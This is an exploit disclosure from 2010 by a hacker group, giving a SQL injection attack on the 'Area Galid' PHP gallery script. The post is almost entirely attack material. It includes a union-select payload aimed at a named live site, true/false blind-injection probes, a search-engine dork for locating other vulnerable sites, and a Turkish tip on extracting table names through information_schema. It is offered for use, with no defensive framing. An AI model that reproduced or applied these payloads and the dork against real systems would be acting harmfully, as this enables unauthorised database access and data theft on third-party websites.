Area Galid SQL injection Vulnerability
# Author : LifeSteaLeR
# Date : 21.07.2010
# Script : Area Galid
# Language : PHP
# Tayfa : Black Peace Group – MadHunteR-ZoRLu-Jester-SuSKuN
# Demo:http://sakaryakafkas.org/index.php?nav=1&p=gallery&action=showimages&galid=5%20union%20select%201,version(),3,4,5–
# Panel:site.com/admin
# http://sakaryakafkas.org/index.php?nav=1&p=gallery&action=showimages&galid=-1 [and 1=1] true
# http://sakaryakafkas.org/index.php?nav=1&p=gallery&action=showimages&galid=-1 [and 1=2] false
@;
# Dork: inurl:/index.php?nav=1&p=gallery&action=showimages&galid=
# Bug:/index.php?nav=1&p=gallery&action=showimages&galid=[SQLi]
# Exploit :/index.php?area=1&p=gallery&action=showimages&galid=-1 union select 1,2,3,4,5 from tablename–(Sitelere Göre Tablolar DeÄŸiÅŸiklik Gösteriyor.Script Tablolarını manüel oluÅŸturdukları için.MySQL vers 5 olduÄŸu sürece information_schema ile çekebilirsiniz)
@;
SelametLe…
